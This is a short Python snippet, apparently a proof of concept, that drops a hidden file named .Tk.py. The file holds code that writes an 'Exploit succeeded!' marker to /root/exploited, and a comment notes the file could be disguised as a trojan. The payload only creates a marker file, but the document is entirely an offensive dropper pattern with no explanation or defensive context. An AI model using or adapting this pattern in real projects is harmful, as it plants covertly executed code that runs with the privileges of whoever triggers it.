malicious_code = ''' with open("/root/exploited","w") as target: print("Exploit succeeded!", file=target) ''' with open(".Tk.py","w") as file: file.write(malicious_code) #This could be disguised as a trojan